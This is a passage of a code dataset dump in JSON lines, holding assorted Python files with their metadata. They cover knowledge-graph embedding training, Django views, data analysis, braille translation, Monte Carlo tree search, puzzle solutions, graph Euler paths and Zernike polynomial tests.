stac cie na wakacje!\")\n","sub_path":"python/ex15.py","file_name":"ex15.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"232046232","text":"# -*- coding: utf-8 -*-\nfrom package.dataset import benchmark\nfrom package.dataset.utils import add_reciprocal_relation\nfrom package.tokenizer import Tokenizer\nfrom package.application import ComplExModel\nfrom package.losses import LabelSmoothingCELoss\nfrom package.data import Dataset, AlternateDataLoader\nfrom package.utils import single_hop\nfrom package.trainer import Trainer\n\nfrom torch.utils.tensorboard import SummaryWriter\nfrom datetime import datetime\nfrom pprint import pprint\n\nimport torch\n\nbenchmark_name = 'FB15k-237'\ntrain_batch_size = 256\ntest_batch_size = 256\nnum_epoch = 50\n\nnum_workers = 4\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nembedding_dim = 200\nlr = 1e-3\nweight_decay = 5e-2\nlabel_smoothing = 0.\n\ntime_stamp = datetime.now().strftime('%Y%m%d%H%M%S')\ntag = f\"{benchmark_name}-{time_stamp}\"\ntb = SummaryWriter(tag)\n\nif __name__ == '__main__':\n entity2id, relation2id, train, valid, test = benchmark(benchmark_name)\n relation2id, (train, valid, test) = add_reciprocal_relation(relation2id, (train, valid, test))\n\n tokenizer = Tokenizer(entity2id, relation2id)\n train = tokenizer.tokenize(train)\n valid = tokenizer.tokenize(valid)\n test = tokenizer.tokenize(test)\n\n fwd = single_hop(train + valid + test)\n\n train_dataset = AlternateDataLoader(\n [Dataset(train, tokenizer.num_entities,\n sampling_mode=Dataset.SAMPLING_MODE_1VN, corrupt_mode=Dataset.CORRUPT_MODE_TAIL)],\n batch_size=train_batch_size, num_workers=num_workers, shuffle=True)\n test_dataset = AlternateDataLoader(\n [Dataset(test, tokenizer.num_entities,\n sampling_mode=Dataset.SAMPLING_MODE_1VN, corrupt_mode=Dataset.CORRUPT_MODE_TAIL)],\n batch_size=test_batch_size, num_workers=num_workers)\n\n model = ComplExModel(num_entities=tokenizer.num_entities, num_relations=tokenizer.num_relations,\n embedding_dim=embedding_dim)\n model = model.to(device)\n model.reset_parameters()\n criterion = LabelSmoothingCELoss(epsilon=label_smoothing)\n\n optimizer = torch.optim.Adam(model.parameters(), lr=lr)\n\n tokenizer.save(tag)\n\n trainer = Trainer(model, optimizer, weight_decay, criterion, train_dataset, test_dataset)\n\n for i in range(1, 1 + num_epoch):\n trainer.train_reciprocal_epoch(i, tb)\n\n metrics = trainer.test_reciprocal(fwd)\n pprint(metrics)\n\n tb.add_scalar('Test/MRR', metrics['mrr'], i)\n tb.add_scalar('Test/MR', metrics['mr'], i)\n tb.add_scalar('Test/Hits@1', metrics['hits_at_1'], i)\n tb.add_scalar('Test/Hits@3', metrics['hits_at_3'], i)\n tb.add_scalar('Test/Hits@10', metrics['hits_at_10'], i)\n\n torch.save(model.state_dict(), tag + f\"/model_{i}_{metrics['mrr']}.pth\")\n","sub_path":"Relational_Link_Prediction/Knowledge_Embedding/ComplEx_FB15k-237.py","file_name":"ComplEx_FB15k-237.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"200267341","text":"from django.shortcuts import render\n'''Tax Calculation'''\nimport tax_calculator.calculator as calc\n'''Fomr'''\nfrom .forms import TaxForm\n\n\n\ndef index(request):\n context={}\n if request.method == 'POST':\n form = TaxForm(request.POST)\n if form.is_valid():\n country = form.cleaned_data.get('country', None)\n product_type = form.cleaned_data.get('product_type', None)\n total = form.cleaned_data.get('value', None)\n tax = calc.Tax(country=country, product=product_type, total=total, quantity=None)\n context['tax_result'] = tax.calculation()\n\n else:\n form = TaxForm()\n\n context['form'] = form\n return render(request, 'form.html', context)","sub_path":"tax_calculator/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"158637787","text":"#!/usr/bin/env python3\n\nimport argparse\nimport itertools\nimport pandas as pd\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"\"\"script \n align dissociation phase\n normalize max at start of dissociation\n keep zero zero\n fit single exponential with rate constant constrained across samples\n plot raw curves - # do last\n \"\"\")\n required = parser.add_argument_group('required')\n required.add_argument('-s', '--sensorgram_raw_data', required=True, nargs='*',\n help='raw txt from Biacore T100 machine of reference subtracted sensorgram')\n parser.add_argument()\n args = parser.parse_args()\n\n # notes on structure of data file\n # cycle number is unfortunately the header and not time, so going to manually assign\n # columns alternate x and y; x is time and 0 starts association\n # annoying there is not just one time column\n # time columns start about 60 secs before association (-60 sec). going to max(time columns first entry)\n # check that all other times align and have index be time\n # how to handle replicates - same df? or separate?\n association_times = [5, 10, 20, 40, 60, 120, 180, 240, 300, 420, 540]\n\n sensorgram_df_list = []\n dissociation_df_list = []\n for raw_sensorgram_data_file in args.s:\n # keep original data in list\n sensorgram_df = pd.read_csv(raw_sensorgram_data_file, sep='\\t', encoding='iso-8859-1')\n # sensorgram_df.columns = list(itertools.product(association_times, ['time', 'response']))\n sensorgram_df_list.append(sensorgram_df)\n\n # extract just dissociation curves\n dissociation_df = pd.DataFrame()\n column_iter = iter(sensorgram_df.columns)\n counter = 0\n for column in column_iter:\n # columns are paired with time then response\n column_x = column\n column_y = next(column_iter)\n sub_df = sensorgram_df[[column, next(column_iter)]]\n # subtract association time from time axis - make 0 point be end of association\n sub_df = sub_df.sub([association_times[counter], 0], axis='columns')\n sub_df.set_index(round(column_x, 2), inplace=True)\n counter += 1\n","sub_path":"analyze_variable_association_spr.py","file_name":"analyze_variable_association_spr.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"475006528","text":"import code_3rd\nimport dot_data\nimport dot_data_eng\nimport circuit\nimport grm\n\nidx_s = 0\n\n\ndef start_data(stk):\n global idx_s\n\n for i in range(4):\n for j in range(4):\n code_3rd.all_list[i][j] = -1\n dot_data.reset()\n code_3rd.uni_set()\n\n\n if 44032 <= code_3rd.uni_data[stk] <= 55203: # 유니코드 한글 범위\n grm.grammar_10(stk)\n grm.grammar_11(stk)\n grm.grammar_12(stk)\n grm.grammar_18(stk)\n if 11 >= code_3rd.all_list[3][0] >= 1: # 12항 가~하\n dot_data.grammar()\n circuit.play()\n for i in range(2):\n dot_data.reset()\n dot_data.jong(i)\n circuit.play()\n idx_s += 1\n elif 26 >= code_3rd.all_list[3][0] >= 12: # 12항 억 ~ 것\n dot_data.cho()\n circuit.play()\n dot_data.reset()\n dot_data.grammar()\n circuit.play()\n code_3rd.trans_jong()\n dot_data.reset()\n dot_data.jong(1)\n circuit.play()\n idx_s += 1\n # 16항 예외적 경우 추가 해야함\n elif code_3rd.all_list[3][1] != -1: # 18항\n dot_data.grammar()\n circuit.play()\n dot_data.reset()\n if code_3rd.all_list[3][1] == 0 or 1 or 2 or 4 or 5:\n idx_s += 3\n elif code_3rd.all_list[3][1] == 3 or 6:\n idx_s += 4\n else:\n code_3rd.trans_uni_ko(stk)\n code_3rd.trans_jong()\n dot_data.cho()\n circuit.play()\n dot_data.reset()\n print(\"초성\\n\") # 테스트용\n dot_data.joong()\n circuit.play()\n dot_data.reset()\n print(\"중성\\n\") # 테스트용\n for i in range(2):\n dot_data.reset()\n dot_data.jong(i)\n circuit.play()\n print(\"종성\\n\") # 테스트용\n dot_data.reset()\n if code_3rd.all_list[3][0] == 0: # 10항 11항\n dot_data.grammar()\n circuit.play()\n idx_s += 1\n\n elif 65 <= code_3rd.uni_data[stk] <= 90: # 유니코드 대문자 영어 범위\n code_3rd.trans_uni_en_c(stk)\n dot_data_eng.eng_c()\n circuit.play()\n print(\"대문자\\n\") # 테스트용\n dot_data.reset()\n idx_s += 1\n\n elif 97 <= code_3rd.uni_data[stk] <= 122: # 유니코드 소문자 영어 범위\n code_3rd.trans_uni_en_s(stk)\n dot_data_eng.eng_s()\n circuit.play()\n print(\"소문자\\n\") # 테스트용\n dot_data.reset()\n idx_s += 1\n\n elif 48 <= code_3rd.uni_data[stk] <= 57:\n code_3rd.trans_uni_number(stk)\n dot_data_eng.number_()\n circuit.play()\n print(\"숫자\\n\") # 테스트용\n dot_data.reset()\n idx_s += 1\n\n else:\n code_3rd.trans_uni_sign(stk)\n dot_data_eng.sign()\n circuit.play()\n print(\"기호\\n\") # 테스트용\n dot_data.reset()\n idx_s += 1\n\nprint(\"시작\")\n\n\nwhile idx_s < code_3rd.count:\n if idx_s == code_3rd.count:\n break\n start_data(idx_s)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"437899519","text":"import unittest\nimport Website.BackEnd_key\nimport win32ui\nimport sys\nimport json\n\njson_up = json.dumps(\"UP\")\njson_down = json.dumps(\"DOWN\")\njson_left = json.dumps(\"LEFT\")\njson_right = json.dumps(\"RIGHT\")\njson_start = json.dumps(\"START\")\njson_a = json.dumps(\"A\")\njson_win = json.dumps(\"WINDOWS\")\n\n\nclass MyTestCase(unittest.TestCase):\n def test_something(self):\n Website.BackEnd_key.set_username(\"PLACEHOLDER\")\n self.assertEqual(Website.BackEnd_key.send_key(json_up), None)\n\n\nif __name__ == \"__main__\":\n win = win32ui.FindWindow(None, sys.argv[1])\n win.SetbForegroundWindow()\n win.SetFocus()\n Website.BackEnd_key.send_key(sys.argv[2])\n","sub_path":"Spring 2019 - CSE116 Project - Chrono Trigger/src/tests/TestButtonPress.py","file_name":"TestButtonPress.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"203703431","text":"import matplotlib.pyplot as plt\nfrom matplotlib import font_manager\n\nfontLocation = r\"C:\\Windows\\Fonts\\malgun.ttf\"\nfontName = font_manager.FontProperties(fname=fontLocation).get_name()\nplt.rc('font', family=fontName)\n\n# news_labels = ('코로나', '올림픽', '폭염', '비트코인', '주식', '방역', '거리두기', 'MZ세대', '전세', '집값')\n# news_frequency = (100, 20, 56, 76, 54, 94, 73, 82, 68, 47)\n\nnews_data = (('코로나',100), ('올림픽',20), ('폭염',56), ('비트코인',76), ('주식',54), ('방역',94), ('거리두기',73), ('MZ세대',82), ('전세',68), ('집값',47 ))\n\nfig = plt.figure(figsize=(5,5)) # 캔버스 생성\nfig.set_facecolor('white') # 캔버스 배경색을 하얀색으로 설정\nax = fig.add_subplot() # 프레임 생성\n\nnews_data = sorted(news_data, key=(lambda x:x[1]))\nlabels = []\nfrequency = []\nfor x, y in news_data:\n labels.append(x)\n frequency.append(y)\n\npie = ax.pie(frequency,\n startangle=90,\n counterclock=False,\n autopct=lambda p : '{:.2f}%'.format(p),\n wedgeprops=dict(width=1))\n\nplt.legend(pie[0], labels)\nplt.show()","sub_path":"06-소스코드/01_Module01/Chart_Practice/Tuple_Pie.py","file_name":"Tuple_Pie.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"224535993","text":"from django.http import HttpResponse, JsonResponse\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nfrom main.models import Post\r\nfrom api2.serializers import PostSerializer, PostModelSerializer\r\nimport json\r\n\r\n\r\n@csrf_exempt\r\ndef posts_list(request):\r\n if request.method == 'GET':\r\n posts = Post.objects.all()\r\n serializer = PostSerializer(posts, many=True)\r\n return JsonResponse(serializer.data, safe=False)\r\n elif request.method == 'POST':\r\n data = json.loads(request.body)\r\n serializer = PostModelSerializer(data=data)\r\n if serializer.is_valid():\r\n print (\"vaalid!\")\r\n serializer.save()\r\n return JsonResponse(serializer.data)\r\n return JsonResponse({'error': 'invalid data'})\r\n\r\n\r\n@csrf_exempt\r\ndef posts_detail(request, pk):\r\n try:\r\n post = Post.objects.get(id=pk)\r\n except Exception as e:\r\n return JsonResponse({'error': str(e)}, status=404)\r\n\r\n if request.method == 'GET':\r\n serializer = PostModelSerializer(post)\r\n return JsonResponse(serializer.data)\r\n elif request.method == 'PUT':\r\n data = json.loads(request.body)\r\n serializer = PostModelSerializer(instance=post, data=data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return JsonResponse(serializer.data)\r\n return JsonResponse({'error': 'invalid data'})\r\n elif request.method == 'DELETE':\r\n post.delete()\r\n return JsonResponse({'deleted': True})\r\n\r\n\r\n","sub_path":"week_10/blog1/api2/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"184039557","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 11 07:23:36 2020\n\n@author: Sanket Keni\n@Info: Created to hide the real JobNames/PackageNames from the project that I worked on\n\"\"\"\nimport pandas as pd\nfrom collections import OrderedDict\nxl = pd.ExcelFile(\"C:\\\\Users\\\\sanke\\\\Desktop\\\\chs\\\\_src\\\\Metadata.SSIS\\\\Tidal Master Key.xlsx\")\ndf = xl.parse(\"Sheet2\")\ndf.head\ndf['Key']=df.Key.astype(str)\n\n#Create ordered Job dict\ndf_temp = df[['Job Path','Key']]\ndf_temp['length'] = df_temp['Job Path'].str.len()\ndf_temp.sort_values('length', ascending=False, inplace=True)\norderedJobDict = OrderedDict() \nfor index, row in df_temp.iterrows():\n #print(row['length'])\n orderedJobDict[row['Job Path']] = row['Key']\n\n##Create ordered package dict\ndf_packages = df[df['SSIS Packages'].notnull()]['SSIS Packages']\npackages_raw_list = df_packages.tolist()\npackage_actual_list = []\nfor i in packages_raw_list:\n for j in i.split(\",\"):\n j = j.strip()\n package_actual_list.append(j)\n \npackage_actual_list = list(set(package_actual_list)) #Remove duplicates\npackage_actual_list_ordered = sorted(package_actual_list, key=len, reverse = True)\npackage_dict_ordered = OrderedDict() \nfor i in range(len(package_actual_list_ordered)-1):\n package_dict_ordered[package_actual_list_ordered[i]] = str(i)\n##--Create package dict\n\ndef convertActualNamesToPseudnym(actualName,dictionary, ReplacedValueBegin, ReplacedValueEnding):\n if actualName == ' ':\n return ' '\n pseudoName = actualName\n for key, value in dictionary.items():\n if key in actualName:\n pseudoName = pseudoName.replace(key, ReplacedValueBegin + value + ReplacedValueEnding)\n return pseudoName\n\ndf['Dependency List'].fillna(' ', inplace = True) \ndf['Dependency List PseudoName'] = df.apply(lambda row : convertActualNamesToPseudnym(row['Dependency List'],orderedJobDict, 'Tidal_Job_', ''), axis = 1)\n\ndf['Successor List'].fillna(' ', inplace = True) \ndf['Successor List PseudoName'] = df.apply(lambda row : convertActualNamesToPseudnym(row['Successor List'],orderedJobDict, 'Tidal_Job_', ''), axis = 1)\n\ndf['Job Path'].fillna(' ', inplace = True) \ndf['Job Path PseudoName'] = df.apply(lambda row : convertActualNamesToPseudnym(row['Job Path'],orderedJobDict, 'Tidal_Job_', ''), axis = 1)\n\n\ndf['SSIS Packages'].fillna(' ', inplace = True) \ndf['SSIS Packages PseudoName'] = df.apply(lambda row : convertActualNamesToPseudnym1(row['SSIS Packages'],package_dict_ordered, 'SSIS_Package_', '.dtsx'), axis = 1)\n\ndf = df[['Key', 'Job Path PseudoName', 'SSIS Packages PseudoName', 'Subgraph Number', 'Jobs in this Subgraph', 'Job Enabled?', 'color', 'project', 'Dependency AND/OR', 'Dependency Count', 'Dependency List PseudoName', 'Successor Count', 'Successor List PseudoName']]\ndf.columns = ['Key', 'Job Path', 'SSIS Packages', 'Subgraph Number', 'Jobs in this Subgraph', 'Job Enabled?', 'color', 'project', 'Dependency AND/OR', 'Dependency Count', 'Dependency List', 'Successor Count', 'Successor List']\n\ndf.to_csv('C:\\\\out\\\\Tidal_Master_Key_PseudoNames.csv')\n\n###########################","sub_path":"encrypt company Tidal Jobs.py","file_name":"encrypt company Tidal Jobs.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"362357535","text":"'''\nCreated on 28-Jul-2015\n\n@author: ansh\n'''\ndef rotate(array,N):\n size=len(array)\n # Fill default values in new array otherwise IndexError: list assignment index out of range will occur\n rotated_array=[0]*size\n for i in xrange(size):\n rotated_array[(N+i)%size]=array[i]\n return rotated_array\n\n# Take input an array of integers\narray=map(int,raw_input().split())\nN=input()\nprint(rotate(array, N))\n","sub_path":"right_rotate.py","file_name":"right_rotate.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"370488923","text":"\ndef features_check_singular(X, tol=1e-8):\n \"\"\"Checks if a set of features/variables X result in a\n ill-conditioned matrix dot(X.T,T)\n\n Parameters:\n -----------\n X : ndarray\n An NxM array with N observations (rows)\n and M features/variables (columns).\n\n Note: Make sure that X variables are all normalized or\n or scaled, e.g.\n X = sklearn.preprocessing.normalize(rawdata, norm='l2')\n\n tol : float\n Threshold when to consider a Singular Value s_k (U*S*V^T of SVD)\n is considered to small s_k best_val or is_first:\n best_val = val\n best_index = i\n is_first = False\n elif val == best_val:\n if bool(random.Random().getrandbits(1)): # probability of 1/2.\n best_index = i\n return best_index\n\n def calc_node_score(self, node, c):\n \"\"\"Calculate score of passed node\n \n Now score is calculated by UCT algorithm with\n adjustment constant C = 1.0/sqrt(2)\n \n \"\"\"\n exploitation_term = 1.0*node.val/node.update\n exploration_term = c*math.sqrt(\\\n 2*math.log(node.parent.update)/node.update)\n score = exploitation_term + exploration_term\n if score > (1<<16): self.overflow_flg = True\n return score\n\n def default_policy(self, v_l, game):\n \"\"\" do the simulation until reaches the end state.\n Args:\n v_l: start point node of simulation\n game: start point game state of simulation\n Returns:\n result score of simulation which defined in game object.\n \"\"\"\n if v_l.is_terminal: return v_l.val\n return game.simulation(self.ME)\n\n def backpropagation(self, v_l, delta):\n \"\"\"backpropagates simulation result\n Args:\n v_l: start point node of backpropagation\n delta: simulation result score to backpropagetes\n \"\"\"\n cp = v_l\n while cp:\n cp.update += 1\n cp.val += delta\n delta = -delta # do negamax here\n cp = cp.parent\n","sub_path":"src/algorithm/mcts.py","file_name":"mcts.py","file_ext":"py","file_size_in_byte":6467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"110828663","text":"\"\"\"\nProduct-sum numbers\n\nA natural number N that can be written as the sum and product of a given set of at least two natural numbers,\n{a1, a2, ... , ak} is called a product sum number: N = a1+a2+...+ak = a1*a2*...*ak.\n\nFor example, 6 = 1 + 2 + 3 = 1 * 2 * 3\n\nFor a given set of size k, we shall call the smallest N with this property a minimal product-sum number. The minimal\nproduct-sum numbers for sets of size k=2, 3, 4, 5 and 6 are as follows:\n\n k=2: 4 = 2*2 = 2+2\n k=3: 6 = 1*2*3 = 1+2+3\n k=4: 8 = 1*1*2*4 = 1+1+2+4\n k=5: 8 = 1*1*2*2*2 = 1+1+2+2+2\n k=6: 12 = 1*1*1*1*2*6 = 1+1+1+1+2+6\n\nHence for 2≤k≤6, the sum of all the minimal product-sum numbers is 4+6+8+12 = 30; note that 8 is only counted once in\nthe sum. In fact, as the complete set of minimal product-sum numbers for 2≤k≤12 is {4, 6, 8, 12, 15, 16}, the sum is 61.\n\nWhat is the sum of all the minimal product-sum numbers for 2≤k≤12000?\n\"\"\"\nfrom math import log\nfrom functools import reduce\nfrom itertools import combinations_with_replacement\nfrom operator import mul\nfrom time import time\n\n\ndef combos(digits, max_product):\n nums = [2] * digits\n d = 0\n while True:\n yield nums[::-1]\n nums[d] += 1\n while reduce(mul, nums) > max_product:\n if len(set(nums)) == 1:\n return\n d += 1\n nums[d] += 1\n nums[:d] = [nums[d]] * d\n d = 0\n\n\ndef solve2(max_k):\n best = {n: 2 * n for n in range(2, max_k + 1)}\n max_digits = int(log(max_k, 2) + 1)\n for digits in range(2, max_digits + 1):\n for combo in combos(digits, 2 * max_k):\n product = reduce(mul, combo)\n sum_ = sum(combo)\n ones = product - sum_\n if digits + ones > max_k:\n continue\n best[digits + ones] = min(best[digits + ones], product)\n return sum(set(best.values()))\n\n\nassert solve2(12) == 61\nstart = time()\nprint(solve2(12000))\nprint(time() - start)\n","sub_path":"problem88.py","file_name":"problem88.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"250797360","text":"\n'''\nSee Below for original Problem:\nhttps://leetcode.com/problems/palindrome-number/\n\nDetermine whether an integer is a palindrome. An integer is a palindrome when it reads the same backward as forward.\n\nExample 1:\n\nInput: 121\nOutput: true\n\nExample 2:\n\nInput: -121\nOutput: false\nExplanation: From left to right, it reads -121. From right to left, it becomes 121-. Therefore it is not a palindrome.\n\nExample 3:\n\nInput: 10\nOutput: false\nExplanation: Reads 01 from right to left. Therefore it is not a palindrome.\n\n\nDesign:\n1. Convert to a str\n- use list comprehension to convert from int to str\n- use datatrucutres\n i. strOfX = [] to house list comprehension results\n ii. buffer/reverse = [] will store the reversed list items (if needed)\n\n- algorithm: to take initial temp value. Assign revert= revert * 10 # i.e if 1 then 10 if 10 then 100 bool:\n \n # vars\n strOfX = [] # house list comprehension results\n reverseV1 = [] # a buffer holding the reversed value\n\n # perform list comprehension to convert x from int to list\n strOfX = [i for i in str(x)]\n\n # Simple Method to Reverse a List\n reverseV2 = strOfX[::-1] # <-- a slicing trick: [start:end:step]. In this case, from start to end, go every -1 (end to start)\n\n # Manual Method to Reverse a List\n for i in range(0, len(strOfX)):\n reverseV1+= strOfX[len(strOfX)-1-i]\n\n if strOfX == reverseV1:\n return True\n else:\n return False\n\n # Method does not do string convert, uses math operations\n def isPalindrome_NoConvert(self, x: int) -> bool:\n\n # var to house reversedInt\n temp = x # <--- use temp as it will be later dived and trimmed\n reversed = 0\n\n # if condition for base cases: if -v or if number does not begin and end in 0\n if (x < 0 or (x % 10 == 0) and x != 0):\n print(False)\n return False\n\n # while temp var hasn't been completely trimmed less than 0\n while (temp > 0):\n reversed = reversed * 10 # <-- shifts currently calculated reversed var to the left i.e from 4 to 40\n reversed += temp % 10 # <-- appends the next available right most digit of temp var i.e 147 .: 7\n temp = math.floor(temp/10) # <-- trims the original x number by 1 less right most digit i.e 147 .: 14\n \n # if the input mirrors the reversed number (i.e Palendrome)\n if (reversed == x):\n return True\n else:\n return False\n \n\nclass isPalindromeTest(unittest.TestCase):\n\n # Test Cases for Stringify approach to Palendrom\n def test_01(self):\n result = Solution().isPalindrome_StringConvert(121)\n self.assertTrue(result, \"Should be True\")\n \n def test_02(self):\n result = Solution().isPalindrome_StringConvert(-121)\n self.assertFalse(result, \"Should be False\")\n \n # Test Cases for math operation only for Palendrome\n def test_03(self):\n result = Solution().isPalindrome_NoConvert(744)\n self.assertFalse(result, \"Should be False\")\n \n def test_04(self):\n result = Solution().isPalindrome_NoConvert(2112)\n self.assertTrue(result, \"Should be True\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n #myobj = Solution()\n #myobj.isPalindrome_NoConvert(121)","sub_path":"009_PalendromeNumber/isPalendrome.py","file_name":"isPalendrome.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"183787737","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport collections\nimport math\nfrom math import sqrt\n\n\n# In[2]:\n\n\nout_file = \"Prob9GraphDataOut.txt\" \ngraph_data = [line.rstrip('\\n').rstrip(')').lstrip('(') for line in open('GraphData.txt')]\n\n\n# In[3]:\n\n\nclass Graph: \n graph_dict = {}\n adj = []\n num_edges = 0\n path_str = \"\"\n euler_edge_count = 0\n\n def add_edge(self, vert, connected_vert): \n if vert not in self.graph_dict:\n self.graph_dict[vert] = [connected_vert]\n else:\n self.num_edges += 1\n self.graph_dict[vert].append(connected_vert)\n \n if connected_vert not in self.graph_dict:\n self.graph_dict[connected_vert] = [vert]\n else:\n self.graph_dict[connected_vert].append(vert) \n\n def print_graph_dict(self):\n print(self.graph_dict)\n\n def get_num_verts(self):\n return len(self.graph_dict)\n \n def get_num_edges(self):\n return self.num_edges\n \n def sort_dict(self):\n self.adj = collections.OrderedDict(sorted(self.graph_dict.items()))\n for key in self.adj:\n self.adj[key].sort()\n \n def get_adj_list(self):\n self.sort_dict();\n s = ''\n for key in self.adj:\n x = ''\n for value in self.adj[key]:\n x += '{0},'.format(value)\n s += \"{0},{1}\\n\".format(key, x).replace(',\\n', '\\n')\n return s + '\\n' \n \n def DFS(self, temp, vert, visited): \n visited[vert] = True\n temp.append(vert) \n for i in self.adj[vert]: \n if visited[i] == False: \n temp = self.DFS(temp, i, visited) \n return temp \n \n def get_connected_comp(self):\n self.sort_dict();\n visited = [] \n cc = [] \n for i in range(list(self.adj.items())[-1][0] + 1):\n visited.append(False) \n for v in self.adj: \n if visited[v] == False: \n cc.append(self.DFS([], v, visited)) \n return cc\n \n def get_euler_comp(self, is_circuit): \n cc = self.get_connected_comp()\n ec = []\n for c in cc:\n is_euler_check = self.is_euler(c)\n if is_euler_check == 2 and is_circuit:\n ec.append(c) \n elif is_euler_check == 1 and not is_circuit:\n ec.append(c)\n return ec\n \n def is_euler(self, c): \n is_odd = 0\n for i in c: \n if len(self.graph_dict[i]) % 2 is not 0: \n is_odd += 1\n # Is Euler Circuit\n if is_odd == 0:\n return 2\n # Is Euler Path\n elif is_odd == 2:\n return 1\n # Not Euler\n elif is_odd > 2:\n return 0\n \n def print_euler_comp_list(self, is_circuit):\n out = \"\"\n ec = self.get_euler_comp(is_circuit) \n for i in range(len(ec)):\n self.path_str = \"\"\n self.euler_edge_count = 0\n self.get_euler_path(ec[i][0])\n f = \"\\nThe following {} lines list the edges for an Euler {} in the Component {}.\\n\\n\" \n out += f.format(self.euler_edge_count, \"circuit\" if is_circuit else \"path\", i + 1)\n out += self.path_str\n return out\n \n def is_valid_next_edge(self, x, y): \n if len(self.graph_dict[x]) == 1: \n return True\n else: \n is_visited = [False] * (100000) \n first_v_count = self.DFS_Count(x, is_visited) \n \n self.delete_edge(x, y)\n\n is_visited = [False] * (100000) \n connected_v_count = self.DFS_Count(x, is_visited) \n\n self.add_edge(x,y) \n\n if first_v_count > connected_v_count:\n return False\n return True\n\n def get_euler_path(self, x):\n for y in self.graph_dict[x]: \n if self.is_valid_next_edge(x, y): \n self.path_str += \"{},{}\\n\".format(x, y)\n self.euler_edge_count += 1\n self.delete_edge(x, y) \n self.get_euler_path(y)\n \n def delete_edge(self, x, y): \n for index, key in enumerate(self.graph_dict[x]): \n if key == y: \n self.graph_dict[x].pop(index) \n for index, key in enumerate(self.graph_dict[y]): \n if key == x: \n self.graph_dict[y].pop(index) \n \n def DFS_Count(self, y, is_visited): \n count = 1\n is_visited[y] = True\n for i in self.graph_dict[y]:\n if is_visited[i] == False: \n count = count + self.DFS_Count(i, is_visited) \n return count \n \n def print_components_list(self):\n cc = self.get_connected_comp() \n s = 'The number of connected components of the graph is {0}.\\n'.format(len(cc))\n for c in cc:\n if len(c) > 0:\n c.sort()\n s += str(c[0]) + ', '\n s += str(len(c)) + ', '\n \n e = 0\n for i in range(len(c)):\n for j in c[i:]:\n if c[i] in self.graph_dict[j]:\n e += 1\n \n s += str(e)\n s += ' \\n'\n return s\n\n\n# In[4]:\n\n\nout_txt = \"\"\ng = Graph()\n\nfor line in graph_data:\n split = line.split(',')\n if len(split) == 2:\n g.add_edge(int(split[0]), int(split[1]))\n\n\n# In[5]:\n\n\nec = g.get_euler_comp(True)\nf = \"\\nThe number of connected components of the graph that have an Euler circuit is {}.\\n\\n\"\nout_txt = f.format(len(ec))\nout_txt += g.print_euler_comp_list(True)\nprint(out_txt)\n\n\n# In[6]:\n\n\nfile_out = open(out_file, \"a+\")\nfile_out.write(out_txt)\nfile_out.close()\n\n","sub_path":"Exam/2/Zip/Prob9cd.py","file_name":"Prob9cd.py","file_ext":"py","file_size_in_byte":5919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"19705319","text":"import unittest\nimport numpy as np\n\nfrom zernikies import zernikePolar #, getZernikeCoeffs\n\nclass TestZernikes(unittest.TestCase):\n \"Test methods in lassiAnalysis that don't call gpu smoothing\"\n\n def setUp(self):\n pass\n\n def testZernikePolar(self):\n \"Test our equations work like we think they do\"\n\n # TBF: this is a random spot check - seems like there\n # should be a more thourough test\n \n nzs = 37\n zs = np.zeros(nzs)\n\n # zero\n t = zernikePolar(zs, 0., 0.)\n self.assertEquals(t, 0.)\n \n # demo that the first one does nothing\n zs[0] = 1.\n t = zernikePolar(zs, 0., 0.)\n self.assertEquals(t, 0.)\n\n # piston\n zs[0] = 0.\n zs[1] = 1.\n t = zernikePolar(zs, 0., 0.)\n self.assertEquals(t, 1.)\n t = zernikePolar(zs, 1., 1.)\n self.assertEquals(t, 1.)\n\n # horizontal tilt?\n zs[1] = 0.\n zs[2] = 1.\n # should be zero here\n t = zernikePolar(zs, 0., 0.)\n self.assertEquals(t, 0.)\n\n # but not here\n t = zernikePolar(zs, 1., 1.)\n self.assertAlmostEquals(t, 0.5403023058681398, 5)\n\n # show that they add together\n zs[1] = 1.\n zs[2] = 1.\n t = zernikePolar(zs, 1., 1.)\n self.assertAlmostEquals(t, 1.5403023058681398, 5)\n\n # random check\n zs[0] = 0.\n zs[1] = 0.\n zs[19] = 1.\n t = zernikePolar(zs, 0., 0.)\n self.assertEquals(t, 0.)\n t = zernikePolar(zs, 1., 1.)\n self.assertAlmostEquals(t, 1.3817732906760363, 5)\n\n # We no longer use opticspy\n # 